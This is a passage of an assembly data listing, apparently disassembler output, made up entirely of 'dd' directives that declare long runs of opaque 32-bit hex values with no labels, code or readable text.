565D5303h, 95AC8A76h dd 2EE8B9Bh, 0C42E36DAh, 0B94AF297h, 3B931508h, 3B7ED05Ah dd 7C60F33Fh, 76BE5613h, 0B8A04E37h, 0A5693EE2h, 256DDE6Eh dd 0D17D9542h, 20F5EB45h, 114C6BD4h, 0C690A028h, 0FFA67E6Ah dd 772CAF2Fh, 4EB5B0CDh, 5D970BDh, 0CC164179h, 8110296Fh dd 30E05A07h, 250B9CC9h, 0D7801ED7h, 0A5D2A28Ch, 2B911A0Bh dd 0E0A7FB5h, 54303C40h, 519FEF91h, 573A3F27h, 53E90790h dd 0F623C060h, 7B4D5673h, 17424A32h, 0F938EB69h, 35296097h dd 268270F5h, 4731482Fh, 0C3273E48h, 4B0B99D4h, 354FDF23h dd 740F680Bh, 0FCDE2DAFh, 0BF44FB50h, 0E9F8547Ch, 13A9B6B4h dd 5345225Eh, 62208B40h, 2C80B89Eh, 2975F023h, 0F2459DD6h dd 0E9F12181h, 0E8114CBh, 0E277BCBBh, 9B3C807Ch, 0E9283E02h dd 0E52767FEh, 0DD4373F2h, 182C601Ch, 4B53E80Fh, 0B77CC0CEh dd 4ABCEEABh, 0A42BEC4Eh, 25E954F4h, 594422BAh, 0AA93DF95h dd 9626C010h, 2EBC680Eh, 0EADDAF16h, 1D25F43Ah, 8AF9165Ah dd 368E0AD2h, 0EBD64F0Bh, 0E909BF2Eh, 24C85DF1h, 0C6959D68h dd 1AFA2530h, 54F3FF6h, 25EA4156h, 16F4849Ah, 8952B9E4h dd 5AE52139h, 1630D829h, 0B0BD83F9h, 6455495Fh, 0DE768B70h dd 0B2BE55Bh, 101BD08Eh, 0F8DC17C2h, 5FAA040Eh, 2C8097BCh dd 0F930C4AEh, 9BC9DF02h, 0A73B227Bh, 443CC0Eh, 0FEADF3D4h dd 8FB0BC01h, 59265006h, 891C1F36h, 3EF833DDh, 9308EF51h dd 0ABB1582Fh, 0FFA47F2Dh, 453A1029h, 0EE26C164h, 3D188EE7h dd 42BF0A6Bh, 1A5A3F00h, 0A5C0C2B8h, 72E198E5h, 0E087BAE9h dd 0C58012FDh, 3061CCD3h, 28FFE85Eh, 0B44850C1h, 58E31263h dd 0F573B0FFh, 0BFE91B12h, 18025E5Dh, 577F2A63h, 4293E205h dd 2EEF80F1h, 0C2F45B82h, 4F8FED20h, 8674524Dh, 0B3BF6813h dd 0A3E909BAh, 6FEDFC15h, 0FFCC8624h, 2F681898h, 4FE83FEBh dd 61C3AE80h, 0D37B18EEh, 0BE0C6726h, 895B9513h, 336CCD14h dd 6B8F8C21h, 0D46D4192h, 0CBC52102h, 89B8AAF5h, 8EA6A073h dd 0A749BC27h, 0BA1338F5h, 98FF95B8h, 3F5F1ED6h, 0AB1A762Ah dd 40753A46h, 1F20EB54h, 7B427351h, 0C51B3834h, 0BBE15314h dd 0DC2CA67h, 9907CEA1h, 205A3204h, 782E5D4h, 0CA1B96A6h dd 58FE5F86h, 35FA0649h, 74AAECD7h, 5DC92D5Bh, 719596F5h dd 7C86A939h, 13005FACh, 596081DEh, 6CE2A56h, 7289E909h dd 35005DF2h, 0B933127Fh, 5FF644E8h, 2F3F831h, 272422BDh dd 38B3E061h, 6DBB306Eh, 0AC2ACC0Ch, 13D21540h, 0A91E633Eh dd 0A00841CFh, 0C098140Ch, 0FF4E480Bh, 0C5025F4Ah, 0C05D1FF1h dd 2C5BDDC0h, 2F84559h, 4DC94488h, 0CE13067Ah, 0B7E4B817h dd 0F9EE5B08h, 1A979EEBh, 48407BC1h, 9B384ADDh, 0C8B70F02h dd 6676DA68h, 0FFA80D93h, 0A177BB5Eh, 35E96841h, 0BBCD2830h dd 808800E7h, 0D6F620E6h, 7E4A8CFEh, 16D9BAEDh, 0BDAB049Bh dd 8E950431h, 0BAAD53Ah, 7AFE56E3h, 0AFAF562Fh, 400986D3h dd 0C906F990h, 0D0384DDCh, 354CC9E8h, 0A901A49Fh, 28E70C74h dd 0E9C9C17Ah, 14A975B5h, 7D45AF94h, 98B46557h, 29712691h dd 0C562090Fh, 3CDCD157h, 42383393h, 91ABC18h, 97E7D480h dd 2B0B6250h, 0E46E24E9h, 4554A1A5h, 505B5800h, 0CF535C9Ch dd 9D535759h, 0E43A96EDh, 3AEAE982h, 20EE85C0h, 0A85713CBh dd 254AFAA0h, 0ED7C6848h, 5F680720h, 0D60AA5FCh, 0FD40CF95h dd 900DF05Ah, 0A927BD6Eh, 0E993CC29h, 9837902Dh, 8354B291h dd 5475A01h, 0DBF76994h, 0BD555D81h, 24AF2DE1h, 913A784h dd 0A4E07FE7h, 3F333E79h, 7202CD00h, 70E97142h, 0B8038397h dd 206A13D8h, 2CCD000Dh, 7D422D58h, 8415053Ah, 1FB25DABh dd 0A00916ABh, 784BF0A4h, 468340D7h, 0BBAA02E4h, 27082566h dd 314260DDh, 0B521FFFAh, 5CC9CA6Fh, 3A306CCh, 2DC84FD8h dd 644242E9h, 546007Fh, 7D6241E8h, 0E7AD2A38h, 56CE1786h dd 8917B85Dh, 0FE895F5Ah, 15B82F5h, 0F8EDF585h, 0B758C03Ah dd 410550ECh, 5F383143h, 4C56A203h, 0EF218805h, 0B12B4BE9h dd 74BE2E7Eh, 40F1FB8Eh, 0E190FD2Fh, 0B5651CE9h, 4092B13Bh dd 443A1189h, 35B8734Fh, 0E4FC5989h, 260102E5h, 873E57EBh dd 6A395E01h, 8E3ECF99h, 4879587Bh, 0D219103Ch, 0B1662C07h dd 0C1C105D3h, 246A02DEh, 63053F61h, 0D7F723B5h, 0A38182C1h dd 9683ED2Ah, 0D43ADD8Dh, 8B30C129h, 80BC3E2Eh, 1FAA0B96h dd 53CAB033h, 0C380F968h, 0CBFEAB1Eh, 14577A8Ch, 0E00E77B3h dd 0FAD9924Bh, 0CFE6729h, 36AC5068h, 87A05D6Eh, 0EF273C90h dd 0A80754Bh, 0F07C0BC6h, 172C6640h, 0B00D9B5Eh, 48278B65h dd 20F37838h, 0F49D653Bh, 3B43F939h, 5196B200h, 1DD3DB9h dd 0CE31F5C7h, 93F02959h, 310B5EE5h, 0F59D9039h, 0B02FE33Fh dd 2106E4D4h, 0FA01209Bh, 4508831Ch, 39F0141Ch, 1C7D2604h dd 8BC61C3Ah, 0C5CC5E32h dd 97879E20h, 84A71468h, 89727D82h, 5057B581h, 525DE8F5h dd 301268EEh, 5213DA5Ah, 0DADD5BEh, 13EF8D7h, 2D1E1FD9h dd 0DD6E014Fh, 0D0898559h, 0DBE7022Fh, 0E482236Ah, 87F67567h dd 0E2CC119Fh, 0E0A20C49h, 0BB23502Ah, 19551372h, 5E8E650h dd 5DC44113h, 0AB110982h, 0D45F7AAh, 0D5A51CA1h, 0D6956466h dd 45069758h, 0F816E975h, 0B551075Eh, 0FE4266E0h, 585AF544h dd 82B51598h, 0DD4E1E26h, 6DD0824Ch, 28482C9Bh, 0B17BE8ADh dd 0AA0580FDh, 0A12FE616h, 0CD317BC1h, 0F1814100h, 0B5E80307h dd 2BB0184h, 935F757h, 513DE01h, 6AF86FF5h, 39980D03h dd 0E001B41h, 1193822Dh, 0EBF25E8h, 0D158036Dh, 509A0BF7h dd 0CCDA0368h, 29B59017h, 5ADACAEFh, 0A253AC9h, 0C15F103Fh dd 0F11D7A05h, 10CD0F3Bh, 0C3013E6h, 47D91202h, 5DCFE9EBh dd 122648E5h, 48433207h, 0EC6DF850h, 0E6C29551h, 11B4070Eh dd 9E9A65Fh, 335788E9h, 3CA2BFF0h, 41E8CAABh, 0BB2E7399h dd 0A8BB8034h, 747CE9BBh, 29473618h, 3F1E6FC1h, 0C2C91F6Dh dd 5A04D43Bh, 2E4A16DDh, 69A3600Ch, 7FEFED0h, 0E730B195h dd 680C077Ch, 613B310Dh, 0EA26B2A4h, 21023D08h, 0CA68F038h dd 5ECB6133h, 5F62FD57h, 0EE7C44Dh, 681406B1h, 4A12E5C1h dd 43C2885h, 54015D3Ah, 0D46054FCh, 0EC2FC090h, 6DF4CEF6h dd 0F27B20B5h, 4EE5992Ch, 1ABAAC93h, 0F71A7D08h, 97FABB82h dd 1225940Ch, 0B64343Ah, 0A9C86D5Fh, 51257D9Bh, 0EFA0575Ah dd 8EF58145h, 4CDE4217h, 5BDF5C11h, 611EF413h, 3DE0E892h dd 4AC0985Eh, 137EB94h, 20CA4BBFh, 80FBD60h, 59469092h dd 0BB02BF32h, 0FD87B9FEh, 0EDCC207Dh, 60B2530Eh, 27DCFE2Dh dd 0DBFF1A46h, 2A081C41h, 123C0CB0h, 16629D2Fh, 33FB895h dd 125A1452h, 0EF874F05h, 54E90102h, 0C1477DA6h, 4358123Fh dd 0C411A3EBh, 0AF161A42h, 40399780h, 0F71E4AB3h, 7B0C45DFh dd 65F92329h, 47F7B007h, 275AD7Fh, 0A813DF4Ah, 2A629B0Ch dd 0DDFCE1BAh, 0C7D8970Ch, 0FBE5E89Fh, 0C8A00B3Fh, 7C53D301h dd 3CAAD888h, 0D7FC5AF6h, 56A8C0AFh, 0E0CC688Eh, 13EA17CBh dd 0BC2A78Fh, 0F1C22EAFh, 0FD4B4840h, 0FC04E4BFh, 10826634h dd 295A6758h, 1D503FB6h, 7E26B7A1h, 0D04F6E0Ah, 72C63CA8h dd 0EE487537h, 0FB773941h, 0ADD47935h, 646EB892h, 6BC35830h dd 0A51ED16h, 0A4262F91h, 601B0BE3h, 0FE6B31FCh, 844D17B0h dd 0AAA7AABDh, 0B0EA1DD2h, 136BF66Bh, 870D1427h, 0EFA45AE5h dd 0F1CBECEFh, 0FB34B7E9h, 67602768h, 26301198h, 75313A9Fh dd 4F42F8Bh, 627DE961h, 5AD532Ah, 0C2C8EB36h, 0E141B069h dd 35317E9Dh, 0C0047735h, 4488E199h, 0E4D6A37h, 0D1933FE1h dd 0C305CCAh, 317E5053h, 948B38BEh, 0C19B5F1Fh, 8777DD8h dd 7D7C0125h, 0C086A92h, 28D42514h, 762FE442h, 5C185641h dd 0B1773CD2h, 2CB2C518h, 0A1EA1241h, 0D88B2A87h, 9FDA84Eh dd 0F7891868h, 21669251h, 0FD5D4ED5h, 4B2C8515h, 829B50A2h dd 72DDD79Ah, 20AC90C9h, 82B74E85h, 0B0F877Dh, 0E0C9720Fh dd 0C87ED57Ah, 4E0A975Dh, 491A2BBFh, 0D86B2AFCh, 125671B5h dd 0F2A29721h, 0E4F74F5Ah, 7BD28265h, 54510A19h, 0D12C44F5h dd 715D57BFh, 689D700Ah, 66415125h, 0E01E490Dh, 0CDB90C7Ch dd 6FBC59C6h, 0A7CEAA58h, 13215C09h, 86B0E97Dh, 52DBE45h dd 565390EDh, 0BB8F4435h, 0F04D938Fh, 5FF089BAh, 3F85F4Eh dd 18F8F2A7h, 68A6B055h, 8C114B6Fh, 1658752Eh, 0EB810A6Dh dd 0C5010671h, 193F1CF5h, 47304F00h, 0DD01661Ah, 0EA080A92h dd 3C9C115h, 285AD788h, 20D2E6F8h, 293BC7B5h, 34D292F5h dd 680E0FF7h, 0AF166C21h, 0DE2F0ACAh, 0DF6BDE79h, 7CBDAF31h dd 0EFCF5018h, 0AE822E97h, 0E904DD59h, 31F449D0h, 81361455h dd 1604C964h, 0C27A6575h, 504D2A3h, 121FA1AFh, 5E0357ECh dd 0E0DFB247h, 1E1A9841h, 531544Eh, 909412E9h, 0C03B8A87h dd 40EB4A4Eh, 3C91BFFDh, 4F6F420Eh, 42FDA93Eh, 18ECF7DDh dd 0EF0B18CDh, 0D790B86Fh, 0AAB225FEh, 0DD90CCCBh, 1E0B45Eh dd 0C813FAC6h, 0B0500F8Ch, 16B22411h, 0D07FC429h, 5486C251h dd 5666BD16h, 5E714309h, 0BF44E431h, 0B468ED30h, 119BBD6Dh dd 0D8E82A4Bh, 505A88E4h, 19161C10h, 91798581h, 268F7109h dd 610C416Eh, 0EA1A0575h, 6185EBF5h, 292726E9h, 0B0982F81h dd 775480EBh, 0B7E0D180h, 0E8A8A3E3h, 24128335h, 10BC644Ch dd 21E2B4Ch, 0CB6CD422h, 5E187601h, 2440E9ABh, 0DDE72CA9h dd 658E352Ah, 0FA002AB1h, 8DB833BEh, 12D16429h, 90CF9EBh dd 0F7ECE7E9h, 4CA7CC98h, 1C68469Dh, 276E5868h, 9DA71EF7h dd 0E989A3FBh, 0A61DD80Dh, 0C6810290h, 5A222E65h, 42C4A55h dd 40AC5B08h, 0A438E982h, 0EBFC3752h, 0F6E1EE2Dh, 0DAE2429h dd 601E9CB2h, 11270763h, 93C0D66Ah, 5D84C2B3h, 10D420DDh dd 81766E17h, 15E47059h, 0B71423B7h, 0D5F7275Ch, 799BF540h dd 7876172Dh, 14022506h, 5642C61Ah, 0C3173767h, 0EB7738BFh dd 32BA602h, 49A9E918h, 4E215AFBh, 156A0C6Fh, 9CEEFA7Fh dd 69EA9F5Fh, 0A6A83FD4h, 1290BBE2h, 0B4264A94h, 0C5947962h dd 545B2708h, 9BDC5268h, 3B9BB4B0h, 1A5B4CD1h, 731B7501h dd 7C41E903h, 75FE696Eh, 6744AEDBh, 675E01FCh, 0F20FC232h dd 0B8090DD9h, 0FFCC4210h, 0DB556E12h, 0C435246Ah, 0DA42EB2Dh dd 0F2D91AE9h, 0F0064E0Ch, 690AEDF0h, 0A029C239h, 8A5EB211h dd 0B62D7E3Bh, 0CAE6C864h, 0EED083BEh, 5B07DE30h, 0B82C3604h dd 0AEE97D20h, 4C7BB560h, 6EDB94BDh, 16BDC1CFh, 2700253h dd 7E8C55C7h, 0DEC03339h, 0E96E1361h, 0BB7FAF2Ch, 65658A96h dd 9FDC482h, 59A54675h, 5F2D504Eh, 44A7F645h, 0B58FF856h dd 60681421h, 0B2987E18h, 5AB3F4DAh, 0CE494020h, 6A853A5Ah dd 0DEB85000h, 952C305h, 40A898C6h, 0CA048162h, 0A9935A7h dd 0A43684EAh, 3D17EB10h, 77E0388Bh, 82789D5Fh, 97124920h dd 0C2B7ED70h, 6ED4197h, 2CED5C60h, 3F644414h, 0C8721DFBh dd 0ACC98103h, 3E1C5813h, 0F69442AEh, 0F889B03Dh, 0A6CBF87Fh dd 0C3AECF6Fh, 13397C2h, 21448662h, 375B0B81h, 103B58ACh dd 57C221Fh, 1B9F4E6Ah, 7C06D0F7h, 7EED1241h, 59DF46E4h dd 0FA02EF1Dh, 5871947Eh, 0C792EA58h, 1FC5C9Fh, 0D861C24Eh dd 51FC9C55h, 0CF1C67EEh, 38A19FD6h, 9D59A93Fh, 0AE369D53h dd 84AB4BC8h, 6D1431B8h, 94C06C40h, 871A05D8h, 9EA15C5Eh dd 905D0CCh, 32526E2Ah, 7B27684h, 2E1CB81h, 0E3D814E1h dd 10641FEBh, 0B7F30145h, 0F3426708h, 0EF5DF1DFh, 88027B27h dd 7D504B82h, 3D3A21E0h, 0FF2DF491h, 0A3A16FBEh, 76732DD4h dd 0E48CBE38h, 9EA1C7C2h, 4ED0F02Fh, 98D3283Dh, 0F61620A2h dd 0E864CD6h, 1ED80127h, 8845BF2Ch, 0EFAA4A53h, 7612365Fh dd 3E64BDCBh, 2D17EC6Dh, 0AADBE451h, 8067BD8h, 0E92D4284h dd 166AC6FFh, 4AC8E797h, 7750F0D1h, 0F5E1207Fh, 1898EF7Bh dd 276E21FAh, 126CA61Ah, 25E59D0Ah, 97AB1E0Ch, 3D0998F6h dd 77BF8059h, 0E04208E3h, 0A6281E25h, 284B47A5h, 3D9CA32Ch dd 6999DBB6h, 2B5B16FAh, 0D8F7E780h, 79D69553h, 7926D9AEh dd 2540CB08h, 0D42724F4h, 37FFEBD6h, 8476AF44h, 0ADAACF64h dd 0E853DF93h, 0C2B071BCh, 0B73212A2h, 5FDAC41h, 5FD0085Ch dd 45C74713h, 0D5E0FF49h dd 8E2537C0h, 264A74B0h, 0FAEAB1DEh, 0CCE82EBFh, 8B9DB893h dd 92E3FEE6h, 7C7D529h, 9272D4Ah, 0DFC846DDh, 11948C0Dh dd 595ECE4Fh, 5E104DE6h, 0C629170Ah, 0F69A2CEAh, 4CF15B07h dd 0F84B01F2h, 757CA079h, 28A13A3Bh, 979479ACh, 9438EE31h dd 0BD64709Eh, 0DB45607Eh, 5C5E453h, 0A69B6104h, 7BF76607h dd 291118ABh, 3DDAC0BEh, 20B9C395h, 0D8FD542Ch, 39C464FDh dd 88AEAF0Fh, 0F3C01B14h, 3C6A0168h, 8790B553h, 5D811E50h dd 1703C970h, 0BD73E70Dh, 0B1B903B0h, 0F84A7238h, 0FD1C1BE1h dd 0AEF1D281h, 214F0E59h, 2D307085h, 0CCB83AF0h, 5BC7892Ch dd 0E2AF7512h, 0A4E9A03Fh, 0DADCBF94h, 0B00220CAh, 7E566469h dd 8EA14DFh, 1C222758h, 1A3E7CB2h, 26A5820h, 0F97A23CBh dd 9965F29h, 4E457138h, 40C2CEFAh, 0F680A1A7h, 0C2FE07D2h dd 700FB450h, 7ECC0D4h, 8826CB90h, 273A60E6h, 0F8F6F4h dd 685386C4h, 0E69D64C3h, 27AF7E29h, 6B75E0C5h, 888CB92Ah dd 0CAE0EF04h, 0DA281FF9h, 0D2EA8E5Bh, 87E9E201h, 71FB2E72h dd 2BE5FD38h, 424469FFh, 0F2F0B501h, 8B9E5BBDh, 7F4A801h dd 6716E95Bh, 4FC71AA4h, 0ADFD2E24h, 0DE247720h, 5D9C2A3Ch dd 0A40D97ACh, 67D90B07h, 0B67FEE20h, 24338B06h, 0C1EC99D4h dd 0FBD25F31h, 5F686070h, 778BC403h, 0FE5B0978h, 13DEF2A2h dd 30C3548Ch, 0A9F40780h, 6058E220h, 0D0284AC2h, 8253EA96h dd 0B99284D8h, 5E17CCFFh, 6CD86FD2h, 4DF89DF2h, 0E1235348h dd 8B2F1AA7h, 0FFF4690Bh, 665A2BB6h, 0F519B21h, 9132FA2Ah dd 5D08E043h, 0D28C04C0h, 0EE0733E9h, 0E62A2369h, 19751A15h dd 0C4F8544Eh, 39E18058h, 3D59BC37h, 0D0BA4E1Fh, 4078B049h dd 41AE2550h, 0B61A3F26h, 2571AB08h, 68156EECh, 128E44D2h dd 0CEA2765Fh, 0B70FE320h, 0C7C780BFh, 6BDEFD28h, 0D31677EBh dd 0C4F52C28h, 0DBE9D1F1h, 87055502h, 0D774587Dh, 60F5640Bh dd 0B0AA899h, 0C7319510h, 0D81A58Fh, 0D8522463h, 512601E7h dd 590B071Eh, 0A0265B78h, 0EB5556EAh, 8A1FBF4Ah, 3017B92Eh dd 5775F50Eh, 0AF830824h, 7760986Ah, 0FCDA5BF7h, 91AEC48Dh dd 0E434FCABh, 9E1758F6h, 0E391FEAFh, 5E039DEDh, 0CBF1BEEDh dd 258724FCh, 0F9C7C361h, 0D9AF2C12h, 2CEF2B9Ah, 512F6805h dd 4C0D1958h, 0AC4BEE7Ch, 2BFEB779h, 0C9BED101h, 237071DDh dd 10D0A446h, 685D057Dh, 78A35826h, 4D017607h, 459D25Ah dd 786160FCh, 0AF2E0549h, 3E64C947h, 0B4010F25h, 42D429E3h dd 4B32470h, 0E91C9131h, 0F716EE67h, 489CDEAAh, 3E463881h dd 4CE8CA5Fh, 323EED7Ah, 0C5C1509Bh, 38D43F53h, 782B9480h dd 5F223FBAh, 0A7394F2Ch, 0D8038F54h, 0E16BAC3Ah, 416B2328h dd 1A597EE4h, 4498EC36h, 71F4182h, 0BE56133Eh, 1010AF8Eh dd 0F86662FCh, 68590041h, 66B76F29h, 98734C4h, 5BCEE9Fh dd 1CB0724h, 2A8A6E61h, 0E9188421h, 42E79F76h, 9CE28100h dd 6864607Ah, 39346F0h, 2786AA08h, 4A49605Dh, 0C1F6B531h dd 1EBAF713h, 8C7145Ch, 981E5B30h, 927F37D2h, 4A5FFA17h dd 4C383021h, 5D127E36h, 0A4DCFB71h, 6E110ABDh, 16922393h dd 1ED9A951h, 32663EC1h, 3202E501h, 23B7783h, 0FA573924h dd 0E5B6077h, 0E22F5F8Bh, 4A13C0D6h, 38E919F0h, 0EF4F3CA1h dd 1757B538h, 0FFFA1AE9h, 4E7EE4CBh, 0FAF78418h, 0B52439E6h dd 4EEB40ECh, 0DE4AFD8Fh, 515D0BC2h, 78E98472h, 21CEBB17h dd 0BC5CFA40h, 0DECBEF8Bh, 4E0EE033h, 377B6773h, 572791AFh dd 0B1132854h, 81043DABh, 0A4E34FD3h, 7D28DF50h, 42E7EB7h dd 0A92AC5E9h, 68071F88h, 0CE356252h, 332E8204h, 1EA1FC12h dd 0C993D5F7h, 0E65E4CA8h, 0A7A21362h, 1E1F5BF4h, 0CB33A855h dd 0B499FAC3h, 72046051h, 8CC71EFCh, 6BB360E1h, 5822534h dd 0F16460DFh, 50401784h, 11E0B928h, 0AB4BC712h, 75092BC4h dd 0F57A628Ah, 5F8D6D59h, 0F0E58F35h, 0BCC260CEh, 0DC418299h dd 2FEE6857h, 0DF9BFD87h, 0EE0302Eh, 0E7715819h, 0D52CBD42h dd 0EDC14D01h, 0FB472005h, 2D767CB8h, 1665CD3Bh, 41BB0177h dd 88980774h, 155530FEh, 56CD1109h, 69BB004Ah, 0A25F9421h dd 642B85C4h, 26F6C1EEh, 8402E950h, 0B456580Ch, 0FC7D9E82h dd 2D823CC8h, 4D025960h, 583D6EC3h, 0E9F8509Ah, 5CA9DA24h dd 5642D67Ah, 75689C88h, 0CA4A1848h, 3651EF54h, 0EB74407Fh dd 7F6E354Fh, 8DF188C3h, 4AF8ADCFh, 0CC5E143Ch, 0EB3A98E9h dd 0DB8CFDCh, 5A94F34Ah, 2D294AA4h, 0D8985FFEh, 5380F665h dd 46930068h, 4B5B116Ch, 180AF381h, 0CA207F02h, 90C0C61Ch dd 63E94D39h, 0F6CB9241h, 0C992BE58h, 0F0FF1784h, 6B1E9B6Eh dd 0ADC968A1h, 883751B5h, 5D14CAD6h, 30ED5FE3h, 20B9838h dd 0ADC18916h, 9E002B4Eh, 0A213420Dh, 0B7F7F412h, 3ED115C2h dd 55626889h, 0A7C08A1Bh, 7A2F2844h, 0E6AE525Bh, 370C1877h dd 1BC90C4Fh, 0E9B14306h, 500A7Fh, 67588B0Dh, 1F10256Eh dd 2D680301h, 3CEADB84h, 6E6C62Ah, 0DF5A5E90h, 6845A793h dd 9DBBE3Fh, 1DD65FAh, 204160D4h, 58DB52Ah, 4ABBE308h dd 1058D3D9h, 110920E9h, 0E2D5876h, 3D84686Dh, 59CE0130h dd 6968C6FEh, 517B5070h, 3EFF84E9h, 914E42CBh, 2F150CF4h dd 8E3314B3h, 0CB820656h, 3A103C41h, 82514B7h, 9CF8222h dd 7FED6801h, 255D3FD4h, 9A57EE31h, 9EC2578Eh, 94E5B457h dd 8FEC5E2h, 592A02Fh, 0CE4350AFh, 12CA2B27h, 1331585Dh dd 0BFF3295Bh, 0AA3EC5E5h, 625C8F31h, 7FAE317Bh, 0A1BB00D6h dd 0ED215C45h, 2402A72Fh, 0D27D5150h, 0A1E6EA0Fh, 82549FB7h dd 0BD0210FCh, 21740D7Ch, 0DA362160h, 91B03BC5h, 591270F8h dd 36D3517h, 0C35E0CD2h, 30EAD1F1h, 0F18D03Dh, 360C55EBh dd 2AE52077h, 4F17B709h, 1C1E5669h, 0F43EF0F7h, 0A035A4DDh dd 56001631h, 516D0BDCh, 67D89501h, 805F0881h, 0F460D30h dd 4966E979h, 0E05F8DA5h, 0E950CCBh, 0C6BB9284h, 9549FEBFh dd 4EC4CDEh, 18F1399Dh, 121DA3C0h, 0E9270971h, 0B07249C4h dd 0FA9282B5h, 0FB765595h, 82ED78D8h, 8FC41h, 695E8FBFh dd 27822A6Eh, 8575CF87h, 0EB49CA6Dh, 0FD7EC58h, 0BA5A30C1h dd 936600F3h, 318E7BCBh, 1A0ADB8h, 4F0B1058h, 41BEE914h dd 0B33E2D31h, 0A66812C9h, 23E94980h, 0FE76BFA9h, 0BF51C152h dd 0FC2B043Eh, 7B04070Bh, 0A72CF003h, 50873827h, 525A9760h dd 80B50251h, 5659EA88h, 1805BCF5h, 77C769E9h, 662D0DE1h dd 10E27E93h, 0D7EE4EAEh, 0B15151ACh, 7FFBDB6Eh, 4041CF82h dd 0FAA83FF9h, 0EECBE4E7h, 0B4F83983h, 60C3E4D2h, 9F5BD948h dd 0A87B0C4Ch, 38EB2FE1h, 0E74B77E3h, 430314D0h, 186C581Dh dd 47499D05h, 0F4BD0740h, 91851FCh, 1BE700CFh, 0A323F35h dd 718401F9h, 16E95296h, 33758925h, 56F5187Fh, 1E4A0ABEh dd 18970B2Eh, 0E949EE06h, 5F16794Fh, 0EAD8D5EEh, 497FE3A0h dd 520E5E96h, 0C472EA89h, 896AAFFh, 0C1EC2F24h, 870F2865h dd 0DB257FB9h, 4AE9C1F3h, 2832872Dh, 8FA95AF0h, 15C1B278h dd 34BABF66h, 10F7BD5Ah, 0E44E3E52h, 71D2B960h, 5AA84AAFh dd 9689C9D3h, 0B5A1037Eh, 0F5ED7009h, 3AD58EB0h, 0B0F72980h dd 0E1545C22h, 0E91AE887h, 0A9790FFFh, 354C20B5h, 69BC2B94h dd 0B7E6187Eh, 0E6F58924h, 263EDA08h, 86031872h, 4C3FCD87h dd 5538586Bh, 0C102DA3Bh dd 90E8F747h, 0CC3D0845h, 0DAECA459h, 0CD9FAD3Ah, 0BF60256Ah dd 0E9803B1Dh, 3D2A9688h, 6207F817h, 9C7D8B63h, 0B63B9057h dd 0B75300F3h, 3BE780BDh, 0C00C06C1h, 0F7E403EFh, 0D7F635E3h dd 659B040Ah, 46F9AFFEh, 13C0DDC9h, 3D0026BAh, 0F2814CB8h dd 71E36B4Ah, 57A9501h, 2771DE95h, 0C751E042h, 0F5136889h dd 0FCBD4064h, 6E55F2B6h, 64C2A24h, 0A8B43CDCh, 9E53E314h dd 3BDE4D93h, 55322023h, 30B607E3h, 0BD664C17h, 5879221Dh dd 58ED0E4Dh, 21E96409h, 758F296Fh, 0A7241202h, 0BB6C1984h dd 0C8BAE094h, 4154B8E7h, 0F58D207h, 459832D2h, 7F04C2C5h dd 0DBB08E0h, 0C687117h, 0F12213A4h, 167CEB10h, 0F3793D2Eh dd 6E5CAC00h, 0B8E5C178h, 0C9F5069Bh, 1236DB42h, 81EB024Eh dd 6EB8CEA8h, 5844A94Bh, 15BD0686h, 0E2320E34h, 1662D906h dd 0BF8401FAh, 0ADC77DE0h, 0ECC277C0h, 0A36B5A56h, 0EB71A8E0h dd 0D30CC737h, 0B1F26FE0h, 5560C654h, 0B62D419Ch, 256CF607h dd 0CEEF6877h, 84DB5A20h, 5B009A36h, 0EDC412ADh, 0A958180Dh dd 29782666h, 7EFA037Bh, 0C3E1F26h, 72CA1332h, 1CB98D01h dd 0E8925E7Dh, 7938BB26h, 4DE30168h, 0FEE92313h, 1622690Fh dd 67FF19FDh, 77F2A2BEh, 8B9DE655h, 31DBA0E0h, 0F657F323h dd 0E6333EC1h, 8F4812CFh, 0B3ECC849h, 935E595Dh, 0A84E33F3h dd 0DAE9E379h, 46DA481Fh, 2E15C456h, 0BEF8AAF8h, 4AC18A3h dd 80BE39B2h, 5E2C0DDh, 0F6880CC2h, 0C67E40D2h, 3DB23852h dd 0AB04D42Fh, 3828C101h, 38EE6D08h, 40B94E6Bh, 0BC234C15h dd 50D18809h, 0CB6B1D02h, 96BDD373h, 44B4E126h, 0E21A176Bh dd 4E1AEA67h, 7AEAA90Dh, 0A28F2556h, 0C35A6752h, 0A1F417FBh dd 3EC6211Bh, 608A9DCCh, 0ADED71F9h, 305FD649h, 0E57DE980h dd 3D0297A0h, 31F46C17h, 7FD87C2h, 2B61F35Dh, 392A9F7Ch dd 9E803012h, 7F978F60h, 68BFC73Ch, 13C668ADh, 0FC306B02h dd 187F0112h, 0D7F7606Fh, 0FB4F049Eh, 8695BE01h, 81F831B0h dd 1832EA28h, 0A320616Ah, 3BD7F87Eh, 1C680141h, 91C3408h dd 71D55814h, 4EE90615h, 135940Ch, 0B1EA34F2h, 7A14210Bh dd 0AB4E1EACh, 4B3E8C2Dh, 32A3E661h, 0EB94DA88h, 9D5B732Ch dd 262A256h, 90B6F92Dh, 0D0592D75h, 2D28732Bh, 9DC4CE2Ch dd 5F386420h, 53A5C05Dh, 292C5E75h, 0DF0098CDh, 576AB02h dd 4DCAF0F3h, 0B05E78E7h, 431E5F36h, 0F59A308Ch, 1C080C3Eh dd 7205092Ch, 0C4D65E15h, 8804FF70h, 76820358h, 47420CA9h dd 0EE3F310Eh, 0A0F9B496h, 0C2BCADEBh, 10B95156h, 16B5CE89h dd 820BF661h, 1080717Dh, 0F48A2528h, 3A1E6295h, 5DDA12FDh dd 0E462650Fh, 7675FFC8h, 7E5D7AABh, 2B14796Bh, 39B02CFBh dd 0D69562B2h, 9A6ACBC7h, 1D8C3F54h, 0B928CFh, 766E4CDEh dd 91B326BDh, 0CA4E897Fh, 7F5FEEC2h, 0D7098350h, 0B20A3369h dd 57E00551h, 8060B90Eh, 18F06855h, 5D03279Dh, 8134685Dh dd 67330BCBh, 6C800EEFh, 0C4C6D450h, 0E505EEF8h, 2948356Bh dd 88110FFh, 75DE95Fh, 65C205AEh, 6844A0EFh, 0BD4512B6h dd 54CE9940h, 0E962FC05h, 5AA42C84h, 0FDDBA0E0h, 5B7B2C17h dd 0A4D1D01h, 2AF2EE8h, 8A6CB354h, 4515DE77h, 0B999435Dh dd 77A87B9Bh, 0C095CA29h, 2E0C1EA9h, 24473AD3h, 1F750F62h dd 0CF04376Bh, 6FCEAEE8h, 0C0098C58h, 0C5FB4B2h, 45EB27D5h dd 0B0A37B02h, 0B2828988h, 80B050F6h, 0C230E1E0h, 5DFA33E9h dd 7AB14046h, 5D0CAF59h, 0BE26FE14h, 71C2925Bh, 6BB9FC79h dd 0B0C2BAFCh, 6C5FC9CCh, 1DBCA005h, 65DF0916h, 26D55E20h dd 0AA3B5FDEh, 0C16F064h, 51890819h, 